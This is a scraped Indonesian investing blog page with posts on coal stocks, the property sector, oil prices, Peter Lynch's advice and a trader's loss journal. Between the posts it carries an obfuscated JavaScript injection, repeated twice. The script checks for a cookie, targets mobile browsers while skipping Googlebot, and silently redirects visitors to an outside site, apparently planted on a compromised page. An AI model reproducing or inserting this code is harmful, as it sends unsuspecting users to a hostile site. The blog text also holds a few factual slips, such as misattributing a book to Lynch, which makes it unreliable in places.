Sumber : http://www.worldatlas.com/

Indonesia menghasilkan batubara sebanyak 458jt Mt per tahun nya di mana hampir dari 75% di ekspor dan 23% sekian untuk penjualan domestik dan sisa nya di pakai sebagai bahan bakar.

Sumber: APBI-ICMA

Dari data yang terlihat, tidak dapat di pungkiri bahwa Batubara salah satu bahan tambang yang menyumbang Devisa yang cukup banyak pada tahun sebelum nya sebelum kejatuhan dari harga batubara.

Terlihat dari data yang ada Harga Batubara Acuan jatuh dari harga 95.48 USD/Tn pada tahun 2012 ke 61.84 USD/Tn pada tahun 2016 dan terendah di tahun 2015 dengan harga 60.13 USD/Tn, penurunan terhitung sekitar 35%.

Sumber : https://www.minerba.esdm.go.id/

Mari kita bandingkan Emiten batubara yang ada di chart berikut ini :

dapat kita simpulkan dari keempat chart emiten yang ada hanya HRUM yang belum mengalami reversal yang cukup significant dalam kurun waktu 5 tahun ini. Apakah akan rally seiring dengan prediksi kenaikan harga batu bara yang di topang oleh kebijakan global dan domestik ? nantikan di postingan berikut nya untuk katalis dari sektor batubara.

Disclaimer: Tulisan ini dibuat hanya sebagai penambah pengetahuan dan bukan sebagai wahana untuk pembuatan keputusan investasi, penulis dibebaskan dari segala keuntungan maupun kerugian dari transaksi yang dilakukan berdasarkan informasi ini

Property, A Shining Star for 2017?

Sektor property merupakan salah satu sektor yang underperform index di tahun 2016, yang dapat kita liat dari data berikut:

Dimana IHSG mengalami kenaikan sebesar 15% sedangkan sektor property hanya mengalami kenaikan sebesar 9.2%. Hal ini disebabkan lesu nya sektor property selama beberapa tahun ini yang dikarenakan melemahnya daya beli dan kekhawatiran investor akan ketidakpastian aturan tax amnesty, yang tercermin pada marketing sales yang tidak mencapai target.

Namun dibalik lemahnya sektor property, pada tahun ini saya memperkirakan adanya catalyst baru yang bisa menjadi game changer untuk sektor property ini, which is:

Tax Amnesty

Dalam hal ini kita bisa melihat deklarasi TA yang sudah mencapai 4312 Trilliun, dengan mayoritas asset tersebut akan menyasar ke sektor property.

Low Interest Rate

Hal lain yang menyebabkan tumbuhnya optimisme di sektor property adalah rendahnya suku bunga. Seperti yang sudah kita ketahui, suku bunga merupakan salah satu cost component yang besar bagi developer property. Dengan diturunkannya suku bunga (quite aggressively) oleh pemerintah, menyebabkan cost yang turun dan berimpact bagus pada net profit developer.

Relaksasi rasio Loan to Value (LTV) 

Bank Indonesia melonggarkan kebijakan LTV (Down Payment/DP) dari yang semulanya 30% menjadi 15%. Hal ini diharapkan dapat spur the economy from the demand side.

 

Note:
This is just the big picture of the sector, details will follow..

Frankie, 16th Jan 2017var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Perbandingan Ringkasan Kinerja Emiten Sektor Batubara

Dapat di simpulkan dari ringkasan kinerja perusahaan, terlihat bahwa secara valuasi emiten batubara mengalami kerugian dari tahun kemarin tetap ADRO mencatat revenue sales yang cukup tinggi di banding emiten lain.

Walaupun pada tahun sebelum nya mengalami penurunan dalam Profitabilitas perusahaan, tetapi pada tahun ini dapat di prediksi kan jika Harga Batubara kembali naik maka untuk emiten batubara yang boleh di perhatikan adalah ADRO secara valuasi dari ringkasan kinerja di banding emiten batubara lainnya.

Tunggu update berikut nya mengenai Coal Market Reviews pada tahun 2017 di Postingan selanjutnya.

Sumber data ringkasan di ambil dari idx.co.id


Prospek Minyak Tahun 2017

Medan, ATMEDAN.COM. Harga minyak dunia WTI selama sepekan sudah mulai naik di karenakan ada kebijakan dari OPEC untuk mengurangi produksi minyak untuk menaikan harga minyak.

historical harga minyak dunia

Negara penghasil minyak terbesar Arab Saudi memutuskan untuk memotong produksi minyak dari 10 juta bpd yang di mana sebelum nya sanggup untuk memproduksi 12 juta bpd, dan mengurangi supply ke SouthEast Asia terutama India dan Malaysia sebesar 486.000 bpd. Pada bulan februari berikut nya Arab Saudi akan mengurangi lagi supply berkisar 3%-7% . Arab Saudi tidak akan mengurangi supply minyak ke Japan, Korsel, dan Taiwan karena Negara Asia Utara permintaan nya lebih besar di banding Asia Tenggara.

Dengan di lakukan hal tersebut di perkirakan harga minyak dunia akan semakin membaik dalam tahun ini. Selama sepekan lalu harga oil WTI sudah mulai naik dari $ 50.82 sampai $ 52.50 per hari ini. Hal itu membuktikan bahwa kebijakan OPEC untuk mengurangi produksi minyak sudah mulai berdampak.

Forecast Demand Supply OIL 2017

 

 

Harga minyak dunia akhir ini juga di pengaruhi oleh fluktuatif USD yang agak melemah di karenakan Pasca Pelantikan President Donald Trump, di mana kalau USD melemah maka akan menaikan permintaan dari negara pengimport minyak di mana mereka melakukan transaksi pembelian menggunakan USD dimana nilai tukar mata uang di negara mereka akan menguat terhadap USD.

Resistance untuk harga Minyak Dunia di prediksi bergerak di kisaran $52 – $60.

LESSONS OF INVESTING BY PETER LYNCH PART I – Traderology

Peter Lynch is one of the legend of stock investing, he was the Fund Manager of Fidelity Magellan Fund, with his annual performance averaging 29% per annum! Whilst his fund’s asset grew from $ 20 Million to $ 14 Billion.

His books “Random Walk on Wall Street”, “Beating the Street”, and “Learn to Earn” are all in my favorite list, because he walks us through his tenure during his Fund Managing years and his decision making process, of which he made it sounds very simple, and very entertaining. This article contains excerpts from the book “Beating the Street” that I think is a very enriching book for investors.

MW-DL735_lynch__ZG_20150511131919.jpg

One of his gist is “Stocks are more rewarding than bonds and CDs”, if you hope to have more money tomorrow than you have today, you’ve got to put a chunk of your assets into stocks. If we look at the history, a portfolio of stocks or mutual funds will turn out to be a lot more valuable than a portfolio of bonds or CDs or money market funds.
But one shocking fact is that, up to February 2016, the number of investor in Indonesia is recorded at 468,000 people, or around 0.2% of population.

Amateur VS Professional 

Another interesting quote of Peter Lynch: “An amateur who devotes a small amount of study to companies in an industry he or she knows something about can outperform 95% of the paid experts who manage the mutual funds, plus have fun doing it!”
Because as an amateur, we don’t have the rules and restrictions that make life difficult for the professional, nor the “peer pressure” that haunts those professionals to start mimicking their peers, so that their fund do not flow out to competitor, of which we can make it our advantage as a stock picker.

The key of being a successful investor is to have the right mindset and the right stomach (read: emotion and psychology), because the ultimate success or failure will depend on your ability to ignore the worries of the world long enough to allow your investments to succeed. But I have to emphasize more on the stomach, because as Warren Buffet said it: “you don’t need extraordinary intelligence to succeed as an investor”

Never Invest in Any Idea You Can’t Illustrate with a Crayon

This is a very interesting rule from St Agnes School in Arlington, Massachusetts. The “Portfolio Managers” are bunch of 7th graders!  These kids outperformed 99% of all equity mutual funds! With a performance of 70% gain over 2 years period

The rule ought to be adopted by many adult money managers, amateur and professional, who have a  habit of ignoring the understandably profitable enterprise in favor of the inexplicable venture that loses money.
Many people chose to purchase stocks that are “hot” at the moment, with no reasons from the business perspective aside from his/her relatives also buy the stock, this usually ends in disaster.

Simplicity is often overlooked by the finance community, because of the misconception: “if this is not complicated, this must be wrong”, when the truth is, the simple the idea, the better! Because all we need is common sense, which is not so common in capital market.

Before we put any stock in our portfolio, we should be able to explain what the company does. Buying what you know is one of our themes. Buying what you know about is a very sophisticated strategy that many professionals have neglected to put into practice.

by traderlogy : https://traderology.wordpress.com/

MY TRADING JOURNAL AFTER A DEVASTATED LOSS ON 2015

This is my trading journal that I wrote last year, that reflect my psychology after a devastating loss because of my “overconfidence” and inability to be flexible. Since we are approaching November, which is the worst month of the year for Indonesian Equity, I hope this post can help me (or if anybody read this.. us) reflect and do better in our judgement and execution, so we can avoid the trap and the losses

TRADER’S JOURNAL

11th August 2015
Since the beginning of June, my portfolio have been sliding significantly downward, and it concerns me because the strategy that I employ so successfully prior year, which net me a hundrend percent plus returns are not working these months, and it backfired on me, and worst of all, I lost all my senses of emotional discipline that I use to value, and that is the cardinal sin of all trading: to let emotion controls the decision making, which kept me from cutting the losses and give way to hoping that it might bounce back, of which it goes straight down day after day
I made some research and observations on the current condition, and this is my personal take on the situation:

  • ONLY USE THE OBB STRATEGY WHEN THE MARKET IS SIDEWAYS OR UPTREND
    The reason of this rule is that when the market is going downward, that usually means funds are outflowing the market, and there’s simply no much demand for the particular stocks, and it is really risky because the bounce might be so little that we cant even make a decent profit out of it while the risk is enormous! One very big flaw of the OBB Strategy is that it doesnt include when to stop the bleeding, because it kept on averaging down until one minor rally then we gradually reduce the position, and one thing that I must remember is BIG POSITION IS TO HOLD SHORT TERM! IF IT GOES UP OR GOES DOWN, GET OUT AND DONT BE FUCKING GREEDY! Even if it just broke even, if we are holding large position, JUST GET OUT! We can still live and trade for another day, but if we are sucked in the downward spiral, we are losing big time. And good trader cant afford to lose big bucks. Stop the bleeding and continue to look for opportunity another day.
  • ALWAYS PLAY A GOOD DEFENSE
    Trader can’t get killed if they got a very solid defense, and only after they manage to survive, they can prosper. My fault at current market is a failure of conducting emotional control which resulting I bought heavily on stocks that are not performing well, might be because of overconfidence that the OBB Strategy has served me very well during sideways period, but the impact is severe because I am heavily exposed on down market and I dont know my stop loss point by using this strategy. So one of the wisdom of being a good trader is to KNOW WHAT STRATEGY TO APLLY ON WHAT TYPE OF MARKET. And if the strategy is out of sync with the market, the best thing to do is to play a good defense! Trade smaller, trade smaller, And avoid using margin.. if possible, dont use all the cash because the should be preserved for another battle.KEEP IT SIMPLE
    Successful trading, in essence, is the same as successful diet. It is simple but people often complicate things. For successful diet, it is: eat less, exercise more. For successful trading it is: preserve the capital, play a good defense, look for consistency, and look for homerun when the time comes. But as simple as it may seem, this is not easy. In fact, this is hard as hell because we have to keep our emotional balance in check all the time.
  • KEEP EMOTIONAL BALANCE IN CHECK
    If the trade goes against us, and if we sense something is wrong about the movement of the stocks, and if we feel bad about the position, it is time to REDUCE the position to the level where we are more comfortable with. If we can not control our emotional balance, it might ruin our objectivity of analysis and decision making. Anyhow, the impact will be much worse than if we just reduce the position at the point where we feel uncomfortable with the position.PRESERVE CASH! TRADE ONLY WHEN THE ODDS ARE IN OUR FAVOUR
    The early days when I start to use my OBB Strategy, that I always preserve cash and only use it when I see big opportunity, and if the stocks are not OBB, then I wont touch the margin and the stop loss would be tight. And by using this strategy, my portfolio grew significantly. One thing that makes me lose the momentum is when I fail to cut loss at the point where I shouldve cut, and I kept on waiting for the price to bounce back, of which it didnt and it really cost me a lot. So actually the message is the same, if uncomfortable, get out! Reduce the position on the way down, dont be stubborn, and dont be hopeful.

    The problem nowadays is that when the market broke down, there are a lot of stocks that OBB, but the mind should be able to resist such temptation and know when NOT to use the strategy. If we use it, and it kept on moving against us, and there are lots of other stocks that OBB and the macro conditions are terrible, then its time to stay aside and hold cash.

  • NOTICE THE CHANGE IN ECONOMIC CONDITION
    On May, I’ve noticed the warning signs that the market would not be in a good shape, because crisis in several countries and domestically, our new government is a dissappointment, from new policies that lead to uncertainty economic climate, to their incapabiliy to spend the promised budget on time, and most importantly, the earning of companies is showing signs of slowing down, of which makes the market to slump down. But I also have to took the blame for my action because at the time, what I see is “opportunity” because a lot of stocks are OBB, which turns out to be a TRAP! I indiscriminately treat all OBB as the same, which is an ERROR IN A VERY EPIC SCALE! And now I learned my lesson that not all OBB are the same, and if we are wrong, just reduce and reduce and get out! Dont be stubborn to wait, because waiting is really expensive at this kind of market.
  • DROP ON IDR, COMPANY EARNINGS DETERIORATION, AND UNSTABLE MACRO ECONOMY IS A BIG WARNING SIGNS
    Actually this point is more or less alike with the point above, but since this is really important so I want to emphasize it again. If future earnings suddenly become uncertain and a lot of miss projection, added by unstable currency and macro economic, then that is the time to reduce reduce reduce and stop! If there are any tempting opportunity, be sure not to use MARGIN. Because from my experience, to time the market bottom during a down market is severely costly! So if I am tempted, then what I have to do is use a fraction of equity to buy, and if the price action isnt good, CUT LOSS AND DONT TRY TO AVERAGE DOWN! Remember: during a down market, average down is costly!
  • THE DURATION OF DROP MATTERS
    The larger the decline in a shorter term, the better opportunity it is, for instance if the stock decline 30% in 3 days while the previous earning trend is still upward, then it is the time to start buying. But if the decline has been steady for several weeks and it keep goes down steadily, then it is not a good opportunity to buy, and this could be a very dangerous trap!
  • BE DISCIPLINE TO REDUCE IF EQUITY DRAWDOWN REACH 20%
    Theoritically, people are not encouraged to do average down, and that averaging down is a very risky thing to do, especially in a downtrend market, which is true and is happening to me, but my personal strategy involves heavily on the act of average down, as I will pyramid it, to sell the margin position in the first rally. So what I need to do is to manage my loss if it goes really strongly against me and if my equity drawdown touch 20%, then I have to be super discipline to start reducing my position, remember: THIS IS A MUST! Because it happens over and over again to my portfolio, so I have to change my mindset about this. REDUCING MEANS TO FIGHT FOR ANOTHER DAY, DONT FORCE A TRADE, BECAUSE TRADING WITH IMBALANCE EMOTION IS REALLY REALLY COSTLY!
  • AFTER A DRAWDOWN, DONT RUSH TO START AGAIN, GIVE TIME TO RELAX AND SEE THINGS OBJECTIVELY BEFORE ENTERING ANOTHER TRADE, AND KEEP THE TRADING SIZE SMALLER
    My fault is also to rush again after I cut my losses, and want to “revenge” the market and take back the losses, but this is simply counter-productive, because if the drawdown reach 20% of the portfolio, it means my stock selection has been faulty, or the market condition is really bad. Of which I shouldn’t enter any more trade. This is the time to sit back and relax, and if I do have the urge to trade, TRADE SMALLER! This period is not the time to make money, it is time to build confidence.REMEMBER THE T+5 RULES
    One of the advantage of this rules is that it gives us the objectivity to think clearly. If the position is against us, then it is the best time to execute this rules, because we might not be able to sell, then sometimes we must “force” the sale

    I think this is my observations about things that is happening these couple of months. It is a very very expensive lesson indeed but I made a vow not to make any of these classic mistakes ever again, remember: BEING WRONG IS ACCEPTABLE, BUT STAYING WRONG IS NOT, Goodluck.

    Thanks a million, this journal is written by traderology.wordpress.com

Go to Top